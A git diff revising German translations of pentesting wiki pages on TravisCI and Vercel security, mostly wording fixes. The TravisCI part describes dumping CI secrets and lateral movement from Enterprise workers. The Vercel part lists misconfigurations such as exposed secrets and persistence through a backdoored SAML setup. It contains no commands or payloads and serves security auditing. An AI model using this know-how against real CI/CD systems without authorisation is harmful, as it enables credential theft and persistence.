diff --git a/src/pentesting-ci-cd/travisci-security/README.md b/src/pentesting-ci-cd/travisci-security/README.md
index 47ee72151..ac89e2ad1 100644
--- a/src/pentesting-ci-cd/travisci-security/README.md
+++ b/src/pentesting-ci-cd/travisci-security/README.md
@@ -4,7 +4,7 @@
## Was ist TravisCI
-**Travis CI** ist ein **gehosteter** oder vor **Ort** **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.
+**Travis CI** ist ein **gehosteter** oder vor Ort **kontinuierlicher Integrations**dienst, der verwendet wird, um Softwareprojekte zu erstellen und zu testen, die auf mehreren **verschiedenen Git-Plattformen** gehostet werden.
{{#ref}}
basic-travisci-information.md
@@ -35,7 +35,7 @@ TravisCI deaktiviert standardmäßig das Teilen von Umgebungsvariablen mit PRs v
### Geheimnisse dumpen
-Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).
+Wie auf der Seite [**grundlegende Informationen**](basic-travisci-information.md) erklärt, gibt es 2 Arten von Geheimnissen. **Umgebungsvariablen-Geheimnisse** (die auf der Webseite aufgelistet sind) und **benutzerdefinierte verschlüsselte Geheimnisse**, die in der `.travis.yml`-Datei als base64 gespeichert sind (beachten Sie, dass beide als verschlüsselt gespeichert in den endgültigen Maschinen als Umgebungsvariablen enden).
- Um **Geheimnisse** zu **enumerieren**, die als **Umgebungsvariablen** konfiguriert sind, gehen Sie zu den **Einstellungen** des **Projekts** und überprüfen Sie die Liste. Beachten Sie jedoch, dass alle hier festgelegten Projekt-Umgebungsvariablen erscheinen, wenn ein Build ausgelöst wird.
- Um die **benutzerdefinierten verschlüsselten Geheimnisse** zu enumerieren, ist das Beste, was Sie tun können, die **`.travis.yml`-Datei** zu überprüfen.
@@ -50,12 +50,12 @@ Wie auf der [**Seite mit grundlegenden Informationen**](basic-travisci-informati
### TravisCI Enterprise
-Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte zu:
+Wenn ein Angreifer in einer Umgebung landet, die **TravisCI Enterprise** verwendet (weitere Informationen dazu finden Sie in den [**grundlegenden Informationen**](basic-travisci-information.md#travisci-enterprise)), wird er in der Lage sein, **Builds im Worker auszulösen.** Das bedeutet, dass ein Angreifer in der Lage sein wird, lateral zu diesem Server zu wechseln, von dem aus er in der Lage sein könnte:
-- zum Host entkommen?
-- Kubernetes kompromittieren?
-- andere Maschinen im selben Netzwerk kompromittieren?
-- neue Cloud-Anmeldeinformationen kompromittieren?
+- zum Host zu entkommen?
+- Kubernetes zu kompromittieren?
+- andere Maschinen im selben Netzwerk zu kompromittieren?
+- neue Cloud-Anmeldeinformationen zu kompromittieren?
## Referenzen
diff --git a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
index e05891c4d..1d1e348b8 100644
--- a/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
+++ b/src/pentesting-ci-cd/travisci-security/basic-travisci-information.md
@@ -1,4 +1,4 @@
-# Grundlegende TravisCI Informationen
+# Grundlegende TravisCI-Informationen
{{#include ../../banners/hacktricks-training.md}}
@@ -63,7 +63,7 @@ Beachten Sie, dass beim Verschlüsseln einer Datei 2 Umgebungsvariablen im Repos
## TravisCI Enterprise
-Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.
+Travis CI Enterprise ist eine **On-Prem-Version von Travis CI**, die Sie **in Ihrer Infrastruktur** bereitstellen können. Denken Sie an die 'Server'-Version von Travis CI. Die Verwendung von Travis CI ermöglicht es Ihnen, ein benutzerfreundliches Continuous Integration/Continuous Deployment (CI/CD)-System in einer Umgebung zu aktivieren, die Sie nach Ihren Wünschen konfigurieren und sichern können.
**Travis CI Enterprise besteht aus zwei Hauptteilen:**
@@ -73,7 +73,7 @@ Travis CI Enterprise ist eine **On-Premise-Version von Travis CI**, die Sie **in
**TCI Core-Dienste erfordern Folgendes:**
1. Eine **PostgreSQL11** (oder später) Datenbank.
-2. Eine Infrastruktur zum Bereitstellen eines Kubernetes-Clusters; es kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
+2. Eine Infrastruktur zur Bereitstellung eines Kubernetes-Clusters; sie kann in einem Server-Cluster oder auf einer einzelnen Maschine bereitgestellt werden, wenn erforderlich.
3. Abhängig von Ihrer Konfiguration möchten Sie möglicherweise einige der Komponenten selbst bereitstellen und konfigurieren, z. B. RabbitMQ - siehe die [Einrichtung von Travis CI Enterprise](https://docs.travis-ci.com/user/enterprise/tcie-3.x-setting-up-travis-ci-enterprise/) für weitere Details.
**TCI Worker erfordert Folgendes:**
diff --git a/src/pentesting-ci-cd/vercel-security.md b/src/pentesting-ci-cd/vercel-security.md
index 9d37abd28..3d4891a7d 100644
--- a/src/pentesting-ci-cd/vercel-security.md
+++ b/src/pentesting-ci-cd/vercel-security.md
@@ -4,43 +4,43 @@
## Grundinformationen
-In Vercel ist ein **Team** die komplette **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.
+In Vercel ist ein **Team** die vollständige **Umgebung**, die einem Kunden gehört, und ein **Projekt** ist eine **Anwendung**.
-Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).
+Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutzer mit **Viewer-Rollenberechtigung** oder mindestens **Projekt-Viewer-Berechtigung über die Projekte** fragen, um diese zu überprüfen (falls Sie nur die Projekte und nicht die Teamkonfiguration überprüfen müssen).
## Projekteinstellungen
### Allgemein
-**Zweck:** Verwalten grundlegender Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.
+**Zweck:** Verwalten Sie grundlegende Projekteinstellungen wie Projektname, Framework und Build-Konfigurationen.
#### Sicherheitskonfigurationen:
- **Übertragung**
-- **Fehlkonfiguration:** Erlaubt die Übertragung des Projekts zu einem anderen Team
+- **Fehlkonfiguration:** Ermöglicht die Übertragung des Projekts zu einem anderen Team
- **Risiko:** Ein Angreifer könnte das Projekt stehlen
- **Projekt löschen**
-- **Fehlkonfiguration:** Erlaubt das Löschen des Projekts
+- **Fehlkonfiguration:** Ermöglicht das Löschen des Projekts
- **Risiko:** Löschen des Projekts
---
### Domains
-**Zweck:** Verwalten von benutzerdefinierten Domains, DNS-Einstellungen und SSL-Konfigurationen.
+**Zweck:** Verwalten Sie benutzerdefinierte Domains, DNS-Einstellungen und SSL-Konfigurationen.
#### Sicherheitskonfigurationen:
- **DNS-Konfigurationsfehler**
-- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server zeigen.
-- **Risiko:** Domain-Hijacking, Datenverkehrsüberwachung und Phishing-Angriffe.
+- **Fehlkonfiguration:** Falsche DNS-Einträge (A, CNAME), die auf bösartige Server verweisen.
+- **Risiko:** Domain-Hijacking, Verkehrsabfang und Phishing-Angriffe.
- **SSL/TLS-Zertifikatsverwaltung**
- **Fehlkonfiguration:** Verwendung schwacher oder abgelaufener SSL/TLS-Zertifikate.
- **Risiko:** Anfällig für Man-in-the-Middle (MITM)-Angriffe, die die Datenintegrität und Vertraulichkeit gefährden.
- **DNSSEC-Implementierung**
- **Fehlkonfiguration:** DNSSEC nicht aktiviert oder falsche DNSSEC-Einstellungen.
- **Risiko:** Erhöhte Anfälligkeit für DNS-Spoofing und Cache-Poisoning-Angriffe.
-- **Umgebung pro Domain**
+- **Umgebung pro Domain verwenden**
- **Fehlkonfiguration:** Ändern der in der Produktion verwendeten Umgebung durch die Domain.
- **Risiko:** Potenzielle Geheimnisse oder Funktionen offenlegen, die in der Produktion nicht verfügbar sein sollten.
@@ -48,7 +48,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Umgebungen
-**Zweck:** Definieren verschiedener Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.
+**Zweck:** Definieren Sie verschiedene Umgebungen (Entwicklung, Vorschau, Produktion) mit spezifischen Einstellungen und Variablen.
#### Sicherheitskonfigurationen:
@@ -63,25 +63,25 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Umgebungsvariablen
-**Zweck:** Verwalten von umgebungsspezifischen Variablen und Geheimnissen, die von der Anwendung verwendet werden.
+**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von der Anwendung verwendet werden.
#### Sicherheitskonfigurationen:
-- **Offenlegung sensibler Variablen**
+- **Sensible Variablen offenlegen**
- **Fehlkonfiguration:** Präfixierung sensibler Variablen mit `NEXT_PUBLIC_`, wodurch sie auf der Client-Seite zugänglich werden.
-- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten an die Öffentlichkeit, was zu Datenverletzungen führt.
+- **Risiko:** Offenlegung von API-Schlüsseln, Datenbankanmeldeinformationen oder anderen sensiblen Daten für die Öffentlichkeit, was zu Datenverletzungen führt.
- **Sensible deaktiviert**
- **Fehlkonfiguration:** Wenn deaktiviert (Standard) ist es möglich, die Werte der generierten Geheimnisse zu lesen.
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
- **Geteilte Umgebungsvariablen**
-- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und auch sensible Informationen enthalten könnten.
+- **Fehlkonfiguration:** Dies sind Umgebungsvariablen, die auf Teamebene festgelegt sind und ebenfalls sensible Informationen enthalten könnten.
- **Risiko:** Erhöhte Wahrscheinlichkeit einer versehentlichen Offenlegung oder unbefugten Zugriffs auf sensible Informationen.
---
### Git
-**Zweck:** Konfigurieren von Git-Repository-Integrationen, Branch-Schutzmaßnahmen und Bereitstellungsauslösern.
+**Zweck:** Konfigurieren Sie Git-Repository-Integrationen, Branch-Schutz und Bereitstellungsauslöser.
#### Sicherheitskonfigurationen:
@@ -93,7 +93,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Integrationen
-**Zweck:** Verbinden von Drittanbieterdiensten und -tools zur Verbesserung der Projektfunktionen.
+**Zweck:** Verbinden Sie Drittanbieterdienste und -tools, um die Projektfunktionen zu verbessern.
#### Sicherheitskonfigurationen:
@@ -111,7 +111,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Bereitstellungsschutz
-**Zweck:** Sichern von Bereitstellungen durch verschiedene Schutzmechanismen, die steuern, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.
+**Zweck:** Sichern Sie Bereitstellungen durch verschiedene Schutzmechanismen und steuern Sie, wer auf Ihre Umgebungen zugreifen und bereitstellen kann.
#### Sicherheitskonfigurationen:
@@ -127,24 +127,24 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
**Teilen von Links**
-- **Fehlkonfiguration:** Unüberlegtes Teilen von Links oder Versäumnis, veraltete Links zu widerrufen.
+- **Fehlkonfiguration:** Teilen von Links ohne Einschränkungen oder Versäumnis, veraltete Links zu widerrufen.
- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, Umgehung von Authentifizierung und IP-Beschränkungen.
-**OPTIONS Allowlist**
+**OPTIONS-Whitelist**
-- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Allowlist setzen.
+- **Fehlkonfiguration:** Zu breite Pfade oder sensible Endpunkte auf die Whitelist setzen.
- **Risiko:** Angreifer können ungeschützte Pfade ausnutzen, um unbefugte Aktionen durchzuführen oder Sicherheitsprüfungen zu umgehen.
**Passwortschutz**
-- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsicheres Teilen.
+- **Fehlkonfiguration:** Verwendung schwacher Passwörter oder unsichere Weitergabe.
- **Risiko:** Unbefugter Zugriff auf Bereitstellungen, wenn Passwörter erraten oder geleakt werden.
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
**Ausnahmen beim Bereitstellungsschutz**
- **Fehlkonfiguration:** Unabsichtliches Hinzufügen von Produktions- oder sensiblen Domains zur Ausnahmeliste.
-- **Risiko:** Offenlegung kritischer Bereitstellungen an die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
+- **Risiko:** Offenlegung kritischer Bereitstellungen für die Öffentlichkeit, was zu Datenlecks oder unbefugtem Zugriff führt.
- **Hinweis:** Verfügbar im **Pro**-Plan als Teil des **Erweiterten Bereitstellungsschutzes** für zusätzlich 150 $/Monat.
**Vertrauenswürdige IPs**
@@ -157,7 +157,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Funktionen
-**Zweck:** Konfigurieren von serverlosen Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.
+**Zweck:** Konfigurieren Sie serverlose Funktionen, einschließlich Laufzeiteinstellungen, Speicherzuweisung und Sicherheitsrichtlinien.
#### Sicherheitskonfigurationen:
@@ -167,35 +167,35 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Daten-Cache
-**Zweck:** Verwalten von Caching-Strategien und -Einstellungen zur Optimierung der Leistung und Kontrolle der Datenspeicherung.
+**Zweck:** Verwalten Sie Caching-Strategien und -Einstellungen, um die Leistung zu optimieren und die Datenspeicherung zu steuern.
#### Sicherheitskonfigurationen:
- **Cache leeren**
-- **Fehlkonfiguration:** Es erlaubt, den gesamten Cache zu löschen.
+- **Fehlkonfiguration:** Es ermöglicht das Löschen des gesamten Caches.
- **Risiko:** Unbefugte Benutzer löschen den Cache, was zu einem potenziellen DoS führen kann.
---
### Cron-Jobs
-**Zweck:** Planen automatisierter Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.
+**Zweck:** Planen Sie automatisierte Aufgaben und Skripte, die in festgelegten Intervallen ausgeführt werden.
#### Sicherheitskonfigurationen:
- **Cron-Job deaktivieren**
-- **Fehlkonfiguration:** Es erlaubt, Cron-Jobs, die im Code deklariert sind, zu deaktivieren.
+- **Fehlkonfiguration:** Es ermöglicht das Deaktivieren von Cron-Jobs, die im Code deklariert sind.
- **Risiko:** Potenzielle Unterbrechung des Dienstes (je nachdem, wofür die Cron-Jobs gedacht waren).
---
### Log Drains
-**Zweck:** Konfigurieren externer Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.
+**Zweck:** Konfigurieren Sie externe Protokollierungsdienste, um Anwendungsprotokolle zur Überwachung und Prüfung zu erfassen und zu speichern.
#### Sicherheitskonfigurationen:
-- Nichts (wird von den Teameinstellungen verwaltet)
+- Nichts (wird aus den Teameinstellungen verwaltet)
---
@@ -212,17 +212,17 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
**Git-Fork-Schutz**
-- **Fehlkonfiguration:** Erlauben unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
+- **Fehlkonfiguration:** Zulassung unbefugter Pull-Requests ohne ordnungsgemäße Überprüfungen.
- **Risiko:** Bösartiger Code kann in den Code integriert werden, was Schwachstellen oder Hintertüren einführt.
-**Sicherer Backend-Zugriff mit OIDC-Föderation**
+**Sichere Backend-Zugriffe mit OIDC-Föderation**
- **Fehlkonfiguration:** Falsche Einrichtung von OIDC-Parametern oder Verwendung unsicherer Aussteller-URLs.
- **Risiko:** Unbefugter Zugriff auf Backend-Dienste durch fehlerhafte Authentifizierungsflüsse.
**Bereitstellungsaufbewahrungsrichtlinie**
-- **Fehlkonfiguration:** Festlegen von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
+- **Fehlkonfiguration:** Festlegung von Aufbewahrungsfristen, die zu kurz sind (Verlust der Bereitstellungshistorie) oder zu lang (unnötige Datenaufbewahrung).
- **Risiko:** Unfähigkeit, bei Bedarf Rollbacks durchzuführen, oder erhöhtes Risiko der Datenexposition durch alte Bereitstellungen.
**Kürzlich gelöschte Bereitstellungen**
@@ -258,8 +258,8 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Benutzerdefinierte Regeln & IP-Blockierung
-- **Fehlkonfiguration:** Erlaubt das Entsperren/Blockieren von Datenverkehr.
-- **Risiko:** Potenzieller DoS, der bösartigen Datenverkehr zulässt oder legitimen Datenverkehr blockiert.
+- **Fehlkonfiguration:** Ermöglicht das Entsperren/Blockieren von Verkehr.
+- **Risiko:** Potenzieller DoS, der bösartigen Verkehr zulässt oder legitimen Verkehr blockiert.
---
@@ -267,12 +267,12 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
### Quelle
-- **Fehlkonfiguration:** Erlaubt den Zugriff auf den vollständigen Quellcode der Anwendung.
+- **Fehlkonfiguration:** Ermöglicht den Zugriff auf den vollständigen Quellcode der Anwendung.
- **Risiko:** Potenzielle Offenlegung sensibler Informationen.
### Skew-Schutz
-- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisationen gibt, bei denen der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
+- **Fehlkonfiguration:** Dieser Schutz stellt sicher, dass die Client- und Serveranwendung immer dieselbe Version verwenden, sodass es keine Desynchronisation gibt, bei der der Client eine andere Version als der Server verwendet und sie sich daher nicht verstehen.
- **Risiko:** Deaktivierung dieses (wenn aktiviert) könnte in zukünftigen Bereitstellungen DoS-Probleme verursachen.
---
@@ -284,10 +284,10 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
#### Sicherheitskonfigurationen:
- **Übertragung**
-- **Fehlkonfiguration:** Erlaubt die Übertragung aller Projekte zu einem anderen Team.
+- **Fehlkonfiguration:** Ermöglicht die Übertragung aller Projekte zu einem anderen Team.
- **Risiko:** Ein Angreifer könnte die Projekte stehlen.
- **Projekt löschen**
-- **Fehlkonfiguration:** Erlaubt das Löschen des Teams mit allen Projekten.
+- **Fehlkonfiguration:** Ermöglicht das Löschen des Teams mit allen Projekten.
- **Risiko:** Löschen der Projekte.
---
@@ -296,7 +296,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
#### Sicherheitskonfigurationen:
-- **Kostenlimit für Speed Insights**
+- **Speed Insights Kostenlimit**
- **Fehlkonfiguration:** Ein Angreifer könnte diese Zahl erhöhen.
- **Risiko:** Erhöhte Kosten.
@@ -310,7 +310,7 @@ Für eine Sicherheitsüberprüfung von **Vercel** müssen Sie nach einem Benutze
- **Fehlkonfiguration:** Ein Angreifer könnte Persistenz aufrechterhalten, indem er ein Konto einlädt, das er kontrolliert.
- **Risiko:** Persistenz des Angreifers.
- **Rollen**
-- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen unter [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
+- **Fehlkonfiguration:** Gewährung zu vieler Berechtigungen an Personen, die sie nicht benötigen, erhöht das Risiko der Vercel-Konfiguration. Überprüfen Sie alle möglichen Rollen in [https://vercel.com/docs/accounts/team-members-and-roles/access-roles](https://vercel.com/docs/accounts/team-members-and-roles/access-roles).
- **Risiko:** Erhöhte Exposition des Vercel-Teams.
---
@@ -322,7 +322,7 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli
**Potenzielle Fehlkonfigurationen:**
- **Überberechtigung von Mitgliedern:** Zuweisung von Rollen mit mehr Berechtigungen als notwendig, was zu unbefugtem Zugriff oder Aktionen führt.
-- **Falsche Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
+- **Unangemessene Rollenzuweisungen:** Falsche Zuweisung von Rollen, die nicht mit den Verantwortlichkeiten der Teammitglieder übereinstimmen, was zu einer Privilegieneskalation führt.
- **Mangelnde Projekttrennung:** Versäumnis, sensible Projekte zu trennen, was einen breiteren Zugriff als beabsichtigt ermöglicht.
- **Unzureichendes Gruppenmanagement:** Nicht regelmäßiges Überprüfen oder Aktualisieren von Zugriffgruppen, was zu veralteten oder unangemessenen Zugriffsberechtigungen führt.
- **Inkonsistente Rollendefinitionen:** Verwendung inkonsistenter oder unklarer Rollendefinitionen in verschiedenen Zugriffgruppen, was zu Verwirrung und Sicherheitslücken führt.
@@ -343,14 +343,14 @@ Eine **Zugriffsgruppe** in Vercel ist eine Sammlung von Projekten und Teammitgli
#### Sicherheitskonfigurationen:
-- **Team-E-Mail-Domain:** Wenn konfiguriert, lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
+- **Team-E-Mail-Domain:** Bei der Konfiguration lädt diese Einstellung automatisch Vercel-Persönliche Konten mit E-Mail-Adressen, die auf die angegebene Domain enden (z. B. `mydomain.com`), ein, Ihrem Team bei der Anmeldung und im Dashboard beizutreten.
- **Fehlkonfiguration:**
-- Falsche Angabe der E-Mail-Domain oder einer falsch geschriebenen Domain in der Team-E-Mail-Domain-Einstellung.
+- Falsche E-Mail-Domain oder falsch geschriebene Domain in der Team-E-Mail-Domain-Einstellung angeben.
- Verwendung einer gängigen E-Mail-Domain (z. B. `gmail.com`, `hotmail.com`) anstelle einer unternehmensspezifischen Domain.
- **Risiken:**
- **Unbefugter Zugriff:** Benutzer mit E-Mail-Adressen von unbeabsichtigten Domains könnten Einladungen erhalten, Ihrem Team beizutreten.
- **Datenexposition:** Potenzielle Offenlegung sensibler Projektinformationen an unbefugte Personen.
-- **Geschützte Git-Scopes:** Ermöglicht das Hinzufügen von bis zu 5 Git-Scopes zu Ihrem Team, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams Zugriff gewährt.
+- **Geschützte Git-Scopes:** Ermöglicht Ihnen, bis zu 5 Git-Scopes zu Ihrem Team hinzuzufügen, um zu verhindern, dass andere Vercel-Teams Repositories aus dem geschützten Scope bereitstellen. Mehrere Teams können denselben Scope angeben, was beiden Teams den Zugriff ermöglicht.
- **Fehlkonfiguration:** Kritische Git-Scopes nicht zur geschützten Liste hinzufügen.
- **Risiken:**
- **Unbefugte Bereitstellungen:** Andere Teams könnten Repositories aus den Git-Scopes Ihrer Organisation ohne Genehmigung bereitstellen.
@@ -366,16 +366,16 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
- **Risiken:**
- **Datenschutzverletzungen:** Offenlegung sensibler Benutzeraktivitäten und -daten.
- **Manipulation von Protokollen:** Böswillige Akteure könnten Protokolle ändern oder löschen, um ihre Spuren zu verwischen.
-- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentrale Authentifizierung und Benutzerverwaltung ermöglicht wird.
-- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken kompromittieren.
+- **SAML Single Sign-On:** Ermöglicht die Anpassung der SAML-Authentifizierung und der Verzeichnis-Synchronisierung für Ihr Team, wodurch die Integration mit einem Identitätsanbieter (IdP) für zentralisierte Authentifizierung und Benutzerverwaltung ermöglicht wird.
+- **Fehlkonfiguration:** Ein Angreifer könnte die Teamkonfiguration durch das Einrichten von SAML-Parametern wie Entity ID, SSO-URL oder Zertifikat-Fingerabdrücken zurückdooren.
- **Risiko:** Persistenz aufrechterhalten.
-- **Sichtbarkeit der IP-Adressen:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
-- **Fehlkonfiguration:** Sichtbarkeit der IP-Adressen ohne Notwendigkeit aktiviert lassen.
+- **Sichtbarkeit der IP-Adresse:** Steuert, ob IP-Adressen, die unter bestimmten Datenschutzgesetzen als persönliche Informationen gelten könnten, in Überwachungsabfragen und Log Drains angezeigt werden.
+- **Fehlkonfiguration:** Sichtbarkeit der IP-Adresse ohne Notwendigkeit aktiviert lassen.
- **Risiken:**
-- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie der DSGVO.
+- **Datenschutzverletzungen:** Nichteinhaltung von Datenschutzvorschriften wie GDPR.
- **Rechtliche Konsequenzen:** Potenzielle Geldstrafen und Strafen für den unsachgemäßen Umgang mit persönlichen Daten.
- **IP-Blockierung:** Ermöglicht die Konfiguration von IP-Adressen und CIDR-Bereichen, von denen Vercel Anfragen blockieren sollte. Blockierte Anfragen tragen nicht zu Ihrer Abrechnung bei.
-- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Datenverkehr zuzulassen oder legitimen Datenverkehr zu blockieren.
+- **Fehlkonfiguration:** Könnte von einem Angreifer missbraucht werden, um bösartigen Verkehr zuzulassen oder legitimen Verkehr zu blockieren.
- **Risiken:**
- **Dienstverweigerung für legitime Benutzer:** Blockierung des Zugriffs für gültige Benutzer oder Partner.
- **Betriebliche Störungen:** Verlust der Dienstverfügbarkeit für bestimmte Regionen oder Kunden.
@@ -384,7 +384,7 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
### Sicheres Rechnen
-**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies eliminiert die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.
+**Vercel Secure Compute** ermöglicht sichere, private Verbindungen zwischen Vercel-Funktionen und Backend-Umgebungen (z. B. Datenbanken), indem isolierte Netzwerke mit dedizierten IP-Adressen eingerichtet werden. Dies beseitigt die Notwendigkeit, Backend-Dienste öffentlich zugänglich zu machen, und verbessert die Sicherheit, Compliance und den Datenschutz.
#### **Potenzielle Fehlkonfigurationen und Risiken**
@@ -408,7 +408,30 @@ Gewährung des Zugriffs auf Audit-Protokolle für unbefugte Teammitglieder.
- **Risiko:** Erweiterte Angriffsfläche, erhöhte Bereitstellungsverzögerungen und unnötiger Verbrauch von Netzwerkressourcen.
7. **Versäumnis, Umgehungsgeheimnisse sicher zu behandeln**
- **Fehlkonfiguration:** Offenlegung oder unsachgemäße Handhabung von Geheimnissen, die zur Umgehung von Bereitstellungsschutzmaßnahmen verwendet werden.
-- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, was Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
+- **Risiko:** Unbefugter Zugriff auf geschützte Bereitstellungen, der es Angreifern ermöglicht, bösartigen Code zu manipulieren oder bereitzustellen.
8. **Ignorieren von Failover-Konfigurationen für Regionen**
-- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder falsche Konfiguration der Failover-Einstellungen.
-- **Risiko:** Dienstunterbre
+- **Fehlkonfiguration:** Keine Einrichtung passiver Failover-Regionen oder fehlerhafte Failover-Einstellungen.
+- **Risiko:** Dienstunterbrechungen während Ausfällen der primären Region, was zu reduzierter Verfügbarkeit und potenzieller Dateninkonsistenz führt.
+9. **Überschreiten der VPC-Peering-Verbindungsgrenzen**
+- **Fehlkonfiguration:** Versuch, mehr VPC-Peering-Verbindungen herzustellen als die zulässige Grenze (z. B. mehr als 50 Verbindungen).
+- **Risiko:** Unfähigkeit, notwendige Backend-Dienste sicher zu verbinden, was zu Bereitstellungsfehlern und betrieblichen Störungen führt.
+10. **Unsichere Netzwerkeinstellungen**
+- **Fehlkonfiguration:** Schwache Firewall-Regeln, fehlende Verschlüsselung oder unsachgemäße Netzwerksegmentierung innerhalb des Secure Compute-Netzwerks.
+- **Risiko:** Datenabfang, unbefugter Zugriff auf Backend-Dienste und erhöhte Anfälligkeit für Angriffe.
+
+---
+
+### Umgebungsvariablen
+
+**Zweck:** Verwalten Sie umgebungsspezifische Variablen und Geheimnisse, die von allen Projekten verwendet werden.
+
+#### Sicherheitskonfigurationen:
+
+- **Sensible Variablen offenlegen**
